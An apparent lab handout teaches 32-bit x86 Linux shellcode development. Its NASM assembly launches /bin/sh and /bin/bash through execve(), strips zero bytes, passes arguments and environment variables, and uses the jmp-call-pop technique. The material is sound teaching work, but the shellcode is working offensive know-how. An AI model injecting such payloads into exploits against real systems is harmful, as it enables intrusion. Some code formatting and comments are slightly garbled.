

LAB: Shellcode Development (Ubuntu 16.04 and 20.04 VMs)

Linux system call table for x86 (32-bit):

https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit

Files provided for you: mysh.s, mysh2.s, myexit.s, shellcode1.c, shellcode2.c

Files with figures: mybash-fig.pdf, myls-fig.pdf, myenv-fig.pdf, myenv2-fig.pdf

Files you will be asked to create during lab tasks: mybash.s, myls.s, myenv.s, myenv2.s

* Task 1: Using the Stack Approach to generating shellcode *

* Task 1.a: The Entire Process *

mysh.s contains assembly code for shellcode that makes a system call to execve() to run the command "/bin/sh"

Compiling assembly to object code

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Background Information on x86 (32-bit) Processor Registers:

1) Four 32-bit general purpose registers

EAX, EBX, ECX, EDX: 32-bits each

AX, BX, CX, DX (refers to the rightmost 16-bits of EAX, BAX, ECX, EDX)

AL, BL, CL, DL (refers to the rightmost 8-bits of AX, BX, CX, DX)

AH, BH, CH, DH (refers to the leftmost 8-bits of AX, BX, CX, DX)

2) EBP: 32-bit base pointer register

ESP: 32-bit stack pointer register

EIP: 32-bit instruction pointer register

3) Two 32-bit index registers (often used as pointers): ESI, EDI

4) Six 16-bit segment registers: CS, DS, SS, ES, FS, GS

(used to denote what memory is used for different parts of a program)

Compile mysh.s to object code using the "Netwide Assembler (NASM)" assembler/disassembler for Intel x86 and x64 architectures.

\$ nasm -f elf32 mysh.s -o mysh.o

If you get an error, you may have to install nasm using the following command:

\$ sudo apt install nasm

Linking object code to generate executable binary

=====

Link the object code in mysh.o to generate executable binary:

\$ ld -m elf_i386 mysh.o -o mysh

Let's run the executable "mysh" to check if it launches a shell.

Use "echo \$\$" to verify that mysh launches a new shell.

\$ echo \$\$

3480 <-- process ID of current shell (might be different for you)

```
$ ./mysh
$ echo $$
$ 5940      <-- process ID of the new shell launched by shellcode in mysh
              (might be different for you)

$ exit      <-- exit launched shell

$ echo $$      <-- back to parent shell
3480
```

Getting the machine code using "objdump" or "xxd" command

Let's inspect the machine code generated:

```
$ objdump -Mintel --disassemble mysh.o
```

```
mysh.o:      file format elf32-i386
```

Disassembly of section .text:

```
00000000 <_start>:
 0: 31 c0          xor    eax,eax
 2: 50             push   eax
 3: 68 2f 2f 73 68 push   0x68732f2f
 8: 68 2f 62 69 6e push   0x6e69622f
 d: 89 e3          mov    ebx,esp
 f: 50             push   eax
10: 53             push   ebx
11: 89 e1          mov    ecx,esp
13: 31 d2          xor    edx,edx
15: 31 c0          xor    eax,eax
17: b0 0b          mov    al,0xb
19: cd 80          int    0x80
```

```
$ xxd -p -c 20 mysh.o
```

FYI: In the output produced, the text that start with "31c0" and ends with "cd80" is the shellcode.

```
*****
* Task 1.b: Eliminating Zeros from the Code *
*****
```

For this task, create a new file named "mybash.s"

Copy and paste the following code into mybash.s file and save the file.

```
;;
; CODE: BEGIN
;
; Makes syscall to execve() to execute the command: /bin/bash
; Compile with: nasm -f elf32 mybash.s -o mybash.o
; Link with: ld -m elf_i386 mybash.o -o mybash
; Run with: ./mybash
;
section .text
global _start
_start:
    ; store the argument string "/bin/bash" on stack
    mov  edx,"h***"
    shl  edx,24
    shr  edx,24
    push edx
    push "/bas"
    push "/bin"
    mov  ebx, esp           ; ebx = address of command "/bin/bash"
```

```
; setup argv[] array on stack
xor eax, eax
push eax          ; argv[1] = 0
push ebx          ; argv[0] points "/bin/bash"
mov ecx, esp      ; ecx = address of argv[]

; no environment variables to pass to execve()
xor edx, edx      ; edx = 0x00000000

; set eax register with system call number for execve()
xor eax, eax      ; eax = 0x00000000
mov al, 0x0b       ; eax = 0x0000000b

int 0x80          ; invoke execve() system call

;
; CODE: END
;
```

Compile mybash.s using the following command:

```
$ nasm -f elf32 mybash.s -o mybash.o
```

Generate executable binary using the following command:

```
$ ld -m elf_i386 mybash.o -o mybash
```

Use "echo \$\$" to verify that mysh launches a new shell.

```
$ echo $$  
2471      <-- process ID of current shell (might be different for you)
```

```
$ ./mybash
```

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

It will respond with a shell prompt.

```
$ echo $$  
$ 2872      <-- process ID of the new shell launched by shellcode in mybash  
              (might be different for you)  
  
$ exit      <-- exit launched shell  
  
$ echo $$    <-- back to parent shell  
2471
```

If you are interesting in seeing the shellcode generated, use the command:

```
$ objdump -Mintel --disassemble mybash.o
```

```
*****  
* Task 1.c: Providing Arguments for System Calls *  
*****
```

For this task, create a new file named "myls.s"

Copy and paste the following code into myls.s file and save the file.

```
;  
; CODE: BEGIN  
;  
; Makes syscall to execve() to execute the command: /bin/sh -c "ls -la"  
; Compile with: nasm -f elf32 myls.s -o myls.o  
; Link with: ld -m elf_i386 myls.o -o myls  
; Run with: ./myls  
;
```

```

section .text
global _start
_start:
    ; store the arguments on stack
    xor eax, eax
    push eax           ; use 0 to terminate the string
    push "-la "
    push "ls "
    push eax           ; use 0 to terminate the string
    push "-ccc"         ; "-ccc" option to /bin/sh is equivalent to "-c" option
    push eax           ; use 0 to terminate the string
    push("//sh"          ; multiple successive slashes are equivalent to one slash
    push "/bin"
    mov ebx, esp        ; ebx = address of command "/bin//sh"

    ; setup argv[] array on stack
    push eax           ; argv[3] = 0
    mov eax,ebx        ; argv[2] = address of "ls -la"
    add eax,20
    push eax
    mov eax,ebx        ; argv[1] = address of "-ccc"
    add eax,12
    push eax
    push ebx           ; argv[0] = address of "/bin//sh"
    mov ecx, esp        ; ecx = address of argv[]

    ; no environment variables to pass to execve()
    xor edx, edx        ; edx = 0x00000000

    ; set eax register with system call number for execve()
    xor eax, eax        ; eax = 0x00000000
    mov al,0x0b          ; eax = 0x0000000b

    int 0x80            ; invoke execve() system call

;
; CODE: END
;

Compile myls.s using the following command:

$ nasm -f elf32 myls.s -o myls.o

Generate executable binary using the following command:

$ ld -m elf_i386 myls.o -o myls

Run the executable with the command below. This command will display the contents
of the current directory in long format.

$ ./myls
(You should now see a listing of the directory in a long format)

If you are interesting in seeing the machine code generated, use the command:

$ objdump -Mintel --disassemble myls.o

```

```
*****
* Task 1.d: Providing Environment Variables for execve() *
*****
```

For this task, create a new file named "myenv.s"

Copy and paste the following code into myenv.s file and save the file.

```
;
; CODE: BEGIN
;
; Makes syscall to execve() to execute the command: /usr/bin/env
```

```

; Compile with: nasm -f elf32 myenv.s -o myenv.o
; Link with: ld -m elf_i386 myenv.o -o myenv
; Run with: ./myenv
;
section .text
global _start
_start:
    ; store three environment variables on stack: aaa=1234 bbb=5678 cccc=1234
    xor eax,eax           ; clear eax
    push eax              ; use 0 to terminate the string
    mov edx,"4***"
    shl edx,24
    shr edx,24
    push edx              ; place "4\0\0\0" on the stack
    push "=123"            ; place "=123" on the stack
    push "cccc"             ; place "cccc" on the stack
    push eax              ; place "\0\0\0\0" on the stack
    push "5678"            ; place "5678" on the stack
    push "bbb="
    push eax              ; place "bbb=" on the stack
    push "1234"            ; place "\0\0\0\0" on the stack
    push "abc="
    mov ebx,esp            ; save current value of stack pointer in ebx register

    ; setup envp[] array on stack
    push eax              ; envp[3] = 0
    mov eax,ebx
    add eax,24
    push eax              ; envp[2] = address of "cccc=1234"
    mov eax,ebx
    add eax,12
    push eax              ; envp[1] = address of "bbb=5678"
    push ebx              ; envp[0] = address of "abc=1234"
    mov edx,esp            ; edx = envp[]

    xor eax, eax          ; clear eax
    push eax              ; place "\0\0\0\0" on the stack
    push "/env"             ; place "/env" on the stack
    push "/bin"             ; place "/bin" on the stack
    push "/usr"             ; place "/usr" on the stack
    mov ebx, esp            ; ebx = address of command "/usr/bin/env"

    ; setup argv[] array on stack
    push eax              ; argv[1] = 0
    push ebx              ; argv[0] = address of "/usr/bin/env"
    mov ecx, esp            ; ecx = address of argv[]

    ; set eax register with system call number for execve()
    xor eax, eax          ; eax = 0x00000000
    mov al, 0x0b            ; eax = 0x0000000b

    int 0x80                ; invoke execve() system call

;
; CODE: END
;

Compile myenv.s using the following command:

$ nasm -f elf32 myenv.s -o myenv.o

Generate executable binary using the following command:

$ ld -m elf_i386 myenv.o -o myenv

Run the executable with the command (which displays three environment variables):

$ ./myenv
abc=1234
bbb=5678

```

abc=1234
bbb=5678

```
cccc=1234
```

```
$
```

```
If you are interesting in seeing the machine code generated, use the command:
```

```
$ objdump -Mintel --disassemble myenv.o
```

```
*****  
* Task 2: Using Code Segment Approach to generating shellcode *  
*****
```

```
File to use: mysh2.s
```

```
Compile mysh2.s using the following command:
```

```
$ nasm -f elf32 mysh2.s -o mysh2.o
```

```
Generate executable binary using the following command:
```

```
$ ld -m elf_i386 mysh2.o -o mysh2
```

```
Run the executable with the command:
```

```
$ ./mysh2      // this should generate segmentation fault
```

```
Now, generate executable binary using the following command:
```

```
$ ld --omagic -m elf_i386 mysh2.o -o mysh2
```

```
Run the executable with the command:
```

```
$ ./mysh2  
$  
$ exit      <- to exit the launched shell
```

```
Task: write shellcode to execute /usr/bin/env with environment variables a=11 and b=22:
```

```
For this task, create a new file named "myenv2.s"
```

```
Copy and paste the following code into myenv2.s file and save the file.
```

```
;  
; CODE: BEGIN  
;  
; Makes syscall to execve() to execute the command: /usr/bin/env  
; Compile with: nasm -f elf32 myenv2.s -o myenv2.o  
; Link with: ld --omagic -m elf_i386 myenv2.o -o myenv2  
; Run with: ./myenv2  
;  
section .text  
global _start  
_start:  
    BITS 32  
    jmp short two  
  
one:  
    pop ebx          ; ebx register = address of beginning of db area  
  
    xor eax, eax    ; eax = 0  
    mov [ebx+12],al  ; replace the first * in db area with \0  
    ; this will terminate the string "/usr/bin/env"  
  
    mov [ebx+17],al  ; replace the second * in db area with \0  
    ; this will terminate the string "a=11"  
  
    mov [ebx+22],al  ; replace the third * in db area with \0  
    ; this will terminate the string "b=22"  
  
    ; setup argv[] array in db area
```

```

mov [ebx+24],ebx          ; AAAA in db area is placeholder for argv[0]
                           ; replace AAAA with address of "/usr/bin/env"

mov [ebx+28],eax          ; BBBB in db area is placeholder for argv[1]
                           ; replace BBBB with "\0\0\0\0" (NULLs)

lea ecx,[ebx+24]          ; ecx register = address of argv[0] in db area

; setup envp[] array in db area
lea edx,[ebx+13]
mov [ebx+32],edx          ; CCCC is placeholder for env[0]
                           ; set it to address of "a=11" in db area

lea edx,[ebx+18]
mov [ebx+36],edx          ; DDDD is placeholder for env[1]
                           ; set it to address of "b=22" in db area

mov [ebx+40],eax          ; EEEE is placeholder for env[2]; set to 0 (NULL)

lea edx,[ebx+32]          ; edx register = address of env[0]

; set eax register with system call number for execve()
xor eax,eax               ; eax = 0x00000000
mov al,0xb                 ; eax = 0x0000000b

int 0x80                  ; invoke execve() system call

two:
call one
db '/usr/bin/env*a=11*b=22**AAAABBBCCCCDDDEEEE'

;
; CODE: END
;

```

Compile myenv2.s using the following command:

```
$ nasm -f elf32 myenv2.s -o myenv2.o
```

Generate executable binary using the following command:

```
$ ld -m elf_i386 myenv2.o -o myenv2
```

Run the executable with the command:

```
$ ./myenv2      // this should generate segmentation fault
```

Now, generate executable binary using the following command:

```
$ ld --omagic -m elf_i386 myenv2.o -o myenv2
```

Run the executable with the command:

```
$ ./myenv2
a=11
b=22
$
```

If you are interesting in seeing the machine code generated, use the command:

```
$ objdump -Mintel --disassemble myenv2.o
```

```
***** END OF THE SHELLCODE DEVELOPMENT LAB *****
```